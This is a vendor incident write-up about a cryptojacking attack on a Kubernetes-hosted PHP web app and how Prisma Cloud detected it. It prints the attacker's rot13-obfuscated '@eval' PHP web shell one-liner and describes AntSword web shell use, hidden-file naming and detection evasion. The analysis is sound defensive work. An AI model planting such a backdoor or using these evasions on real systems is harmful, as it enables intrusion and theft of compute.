WAAS-Up with Cryptojacking Microservice-Based Web Apps?

Cryptojacking a Microservice-Based Web Application for Fun and (Variable) Profit

This is an account of a real attack that took place against a web application pod running on a self-managed Kubernetes cluster. The adversaries leveraged a vulnerability in the app to gain OS command privileges, download a coin miner binary and then execute said binary to begin gobbling up our "endless" amount of compute so they could line their pockets. Not cool, guys!

Luckily, Prisma Cloud Compute Runtime Defence and the Web Application & API Security (WAAS) module could have thwarted this attack. Together, we'll explore how I investigated the incident, recount the attack step-by-step, and crucially, highlight the points where Prisma Cloud could have stopped it.

What is Cryptojacking?

First, I can almost hear some of you ask: Scott, what is cryptojacking?

It's an attack where a system is compromised but the attackers attempt to stay undetected for as long as possible, in order to use some fraction of the system’s resources to mine cryptocurrency. This is in contrast to an attack that encrypts the system, like with ransomware, or otherwise destructive actions like wiper malware, that draw attention.

If an attacker can remain undetected for an extended period of time, they can mine cryptocurrency for longer, and earn a greater return on investment. It's quite enterprising in its own illegal way.

How We Were Alerted to This Incident

The image below shows the chain of events that started on March 23rd at 3:21 pm and ultimately triggered our cryptominer activity detection.

It’s worth pointing out that I wasn’t just sitting on Prisma Cloud waiting for this incident to occur. I had set up an integration with Jira and received a notification when it happened. The image below shows the Prisma Cloud event within Jira:

Prisma Cloud supports many integrations such as this – another common integration for runtime incident alerts is with PagerDuty. Likewise, if you have a custom application, you can even send this info as a Webhook.

The Investigation

I started by checking out all WAAS events during that time period, filtering out request anomalies and selecting only the affected image. Using the information in the image below, it was fairly obvious who the culprit was.

I then removed the 'date' and 'attack type' filters, and added the source IP to see all logs from that source, as shown in the image below.

The Initial Connection

The first and second alerts present a couple of interesting findings.

First, thanks to the Prisma Sessions feature, we are able to mandate good behavior for connecting sessions. In this case, we enforce the use of our own session cookie, and the connecting client did not run the Javascript code we had injected. This setting can be found in the menu at WAAS rule > Bot Detection > Active Bot Detection.

The second observation is that the host header was set to the IP address and not the host/FQDN. This strongly suggests that the connection was from an automated tool or bot that had been trawling the internet, probing web applications looking for vulnerabilities to exploit. This is why bot protection is so important – if your web app does have a hole, chances are that bad bots will find it eventually.

If the WAAS module had been set to 'prevent,' this attack would have failed right away because the client did not pass the Javascript "test." Sophisticated bots or attackers could have set the cookie, but as in this example, there are so many other easy targets that we can simply rely on the 'prevent' setting.

(I should add that if this were a more sophisticated bot, we would still have an opportunity to catch it with Session Cookies/Bot Detection. For each session, the WAAS module injects Javascript to collect browser attributes and therefore flag any anomalies that indicate the client is not human.)

I could have also set a policy that prevents or bans attackers that trigger too many anomalies. One such anomaly was mentioned above: connections setting the host header to the IP address.

Command Injection

Walking through the chain events I also saw some command injection attacks.

The image above shows that the attacker was passing encoded data in an HTTP POST request. str_rot13() is a built-in PHP function, it is absolutely not encryption. What this does is shift every letter 13 places in the alphabet, while non-alphabetical characters are untouched.

These sorts of tactics are "useful" in some circumstances, most notably to bypass rudimentary security controls. Imagine a very basic security control which simply matches the actual string of a PHP function declaration: function anyFunctionName(x) {}. That could be bypassed by encoding with even-numbered rot13, since the resultant string would be shapgvba nalShapgvbaAnzr(k) {}.

Malicious PHP File

I was curious about that path, .config.php, as I saw something earlier about a suspicious binary. I checked the runtime audit and pulled the forensics so I could explore all the activities for this container.

The attacker wrote a new PHP file named .config.php using OS command injection (using the echo command to write the string contents). Doing it this way bypasses inspection for uploaded files (if uploading is even allowed).

This is why a layered defense is so important, as there are countless evasive tactics such as this. (Please note that Runtime Defence identified the PHP file being written to storage.)

As an aside, this is also an example where WAAS can actually detect a bad file being uploaded.

So what happened? The attacker wrote a basic PHP script using the echo command. The content of said script utilizes the very dangerous @eval function, which allows the execution of arbitrary code. Even PHP advises against using it (which means it’s great for hackers and script kiddies alike!). What it’s doing is running whatever PHP code has been sent to .config.php in a POST request.

Also, note the file name starts with "." (a period). This means it would be hidden on the Linux filesystem with standard ls. They also named it in such a way that it would look legitimate if it were found – a slightly rudimentary form of evasion, but every little step counts in cryptomining.

Malicious Binary File

Looking further into the runtime forensics I noticed four events at 3:21 PM that identified a binary being created by the user apache2, which were also additionally flagged as suspicious thanks to static analysis.

In checking the file headers, there was a high degree of confidence that this was malicious in nature due to anti-analysis modifications. The fact that the user wrote the file when considering the forensics above indicates they used their malicious PHP script to write the c3 binary file to disk.

Why the two steps to finally create the intended c3 binary? Why not just write the binary in the first instance? I suspect that was because it’s easier, for one. The echo command only had to output a few characters to the malicious PHP file. Second, that PHP file can be reused as a backdoor to perform a myriad of actions (and as we discussed, it was hidden from view and named inconspicuously).

Some points to add around potentially malicious files:

• Prisma Cloud Runtime Defence has the capability to flag files in a container that were not present in the source image. Similarly, it can also detect when binaries and certificates change during runtime.
• Thanks to the Prisma Cloud Intelligence Stream, checks are performed to determine if resources are malicious in nature. And because the intelligence stream is powered by Wildfire, new threats are constantly detected and added to help protect against the latest attacks.

WAAS Analytics

I then shifted gears to check out the WAAS logs so I could find out how the apache2 user wrote that c3 binary. Looking again at the screenshot of the command injection details, things are starting to make a bit more sense.

At this point in my investigation, I had identified that the .config.php script will run whatever is passed in the POST request. Let’s dig a bit deeper by parsing out the injected code:

@eval(@str_rot13($_POST[sf09358e764cb3]));

• @eval : evaluate the given code as PHP. Note the prepended “@”. This is an error control operator in PHP that suppresses any error messages created when executing the function. This is another evasion tactic, as it suppresses logging for any errors it generates.
• @str_rot_13 : encode the string argument, which is the POST with some characters.
• $_POST[sf09358e764cb3] : the POST request from the attacker containing “sf09358e764cb3”.
  • The attacker is using this encoded, random string as the body parameter name.
  • The value of form item sf09358e764cb3 is being rot13-decoded and running as a PHP script, thanks to the eval function.

This specific entry appears to be the culprit that resulted in the cryptominer binary being written to disk, as the timestamp of 3:21:42 matches the runtime audit above where we identified that the user apache2 wrote a file. I was able to ascertain that, most likely, the PHP script used an inbuilt function (fwrite) to build the binary using encoded data in the POST requests.

It’s now clear that the subsequent POST requests were the culprit in making the binary executable and actually running it. This was all possible thanks to the attacker having web shell access, which I’ll describe next.

It’s Raining (Web)shells, Hallelujah! Reverse-engineering AntSword

I wanted to fully understand this specific attack and explore how exactly the Antsword tool helped the attackers gain web shell access to my application. I have been aware of the dangers of web shells in general for some time, so this was a good opportunity to see for myself how the end-to-end attack worked. Rather than the time-consuming option of reading through the source code, I installed it in my isolated lab environment and put it to work attacking my vulnerable container, whilst running a packet capture.

Here I filled in my vulnerable URL, specifying the .config.php file:

When the connection was successful I was then able to obtain a terminal shell:

It’s very important to note that these commands are not being run ‘directly’ on the OS in the sense that we’re typing into a real terminal. Rather, this is an interpretation. The commands being run are actually PHP functions (thanks to the .config.php file running anything we throw at it). This nuance is often overlooked. Server-side scripting languages often have inbuilt functions that allow interactions with the OS. One example is the shell_exec function.

So this shell is simply AntSword representing the data in a format that looks like a shell. We should also note that said commands are being run as the PHP user “apache2,” so we would be unable to run privileged commands. (Unless, of course, apache2 had sudo!) This is what is known as a web shell.

Hopefully, you now have an appreciation of what we can do with such access. If there is a PHP function that can interact with the OS in a useful way, we can achieve that with our web shell. One such useful function is creating files. AntSword provides a file explorer as below:

Again please note that this isn’t a classic file explorer, but again is a representation based on the OS functions performed under the hood. Therefore, when I uploaded my test documents, SCOTTY{n}.txt, it wasn’t an actual upload, I was just passing encoded data to build the file directly to disk.

I was curious as to how exactly, so I ran a tcpdump on my container using command tcpdump -X -t host {my-host} -w capture_txt_upload.pcap and ‘uploaded’ the text files as shown above. I then grabbed my files and opened them in Wireshark. This was the POST which resulted in my file being created:

We can see our old friend, @eval(@str_rot13($_POST, but now we have the full context.

1. @eval(@str_rot13($_POST['r8c3148a7bda34'])); which is saying run the rot13-decoded PHP script in body parameter 'r8c3148a7bda34'.
2. 'r8c3148a7bda34' is another form item where the value starts with @vav_frg. Let’s recall this needs to be run through rot13 which results in @ini_set.
3. I copied the whole code to a rot13 decoder, then ran the resulting script through a PHP ‘beautifier’ in my development IDE.

This is the code:

I also ran the code through an online PHP interpreter.

In the screenshot above, you can see the inline comments describing what each step does (and of course the interpreter output). Please note that some of the values came from other body parameters in the POST request.

I was able to ‘upload’ my text file by sending it as URL-encoded data, but without the ‘%’ characters (to avoid detection¹), then building the correct URL-encoded data by adding %s and decoding it, which resulted in the content of my text file exactly! Finally, the PHP fwrite function actually creates the file.

Now we can fully appreciate how the cryptominer made its way onto the system: encoded data was sent in this way, and the binary file was created by decoding the actual data and utilizing a PHP function to create this file on disk. The web shell then executed OS commands to make the file executable and actually run it to begin mining cryptocurrency! (Don't forget that all of these OS actions were still detected by Runtime Defence.)

Conclusions

Effectively combining layered defenses provides a very strong foundation for protecting against web-based attacks, both known and unknown (zero-day). In this case, the combination of WAAS and Runtime Defence provided numerous opportunities to prevent this attack.

These are the main stages, in chronological order, where the attack could have been stopped:

1. Client not honoring Prisma Session cookies.
2. Request had numerous request anomalies. Crucially, including the IP as the host and not the hostname. The client was also probing multiple HTTP paths, indicating they were enumerating the environment.
3. The OS command injection runtime audit echoed the contents of a bad PHP file to the file system.
4. In addition, Prisma Cloud also flagged numerous other OS commands enumerating the environment, e.g., the ls command.
5. Numerous code injection alerts passing PHP code in POST requests to the previously-created bad PHP file.
6. Runtime audit inciating that these PHP requests created a binary file. This file was flagged as suspicious thanks to Prisma Cloud’s Intelligence Stream and static analysis.
7. Runtime audit showed outbound communication to a DNS name that was not in the container runtime model.
8. Runtime audit and Intelligence Stream indicating that said DNS name was suspicious.
9. Runtime audit showed the suspicious binary was made executable.
10. Many runtime audits showing that the attacker created persistence to ensure the binary would always run.
11. An incident was created specifically identifying that the binary was in fact a cryptominer.

These are only the "highlights." As alluded to above, there were many individual audit events that, when added together in context, created actionable intelligence in the form of what we call incidents. Incidents are the result of a great deal of low-level information being stitched together to build a bigger picture. These individual audit events have numerous sources, such as events that deviate from the normal container’s behavior or process activity that is just plain bad, to specific checks for malware, and of course, network activity.

Attacks, even basic ones such as this, are always composed of numerous steps. The WAAS module in Prisma Cloud provides a complete view of all the activities of the service, and provides a very strong level of defense for detecting each of these suspicious activities and ultimately give you an opportunity to stop them at each of these stages, should our rules be set to ‘prevent’!

If you would like to dive deeper into the concepts of WAAS, please check out my recent webinar, WAAS-up with Web App and API Security? which is available to watch on-demand. I promise it’s chock-full of bad humor, and more importantly, demonstrates a live attack against a microservices-based web application.

¹This highlights the limitations of an inline security device. A simple set of numbers may not trigger a detection like they would if combined with %s. Converting a ‘benign’ set of numbers to encoded data and in turn building out the file, all on the OS, does not occur on the network at all, and would be invisible to such a device. This is why correlation with runtime defense – analyzing said OS operations – is so important.

Appendix / Notes

Attack tool: https://github.com/AntSwordProject/antSword - indicated in user agent

Helpful references:

• Unit 42 Blog: Actors Still Exploiting SharePoint Vulnerability to Attack Middle East Government Organizations
• CISA guidance on web shells
• Project AntSword on GitHub
• urldecode in PHP Manual
• shell_exec in PHP Manual
• PHP Sandbox code tester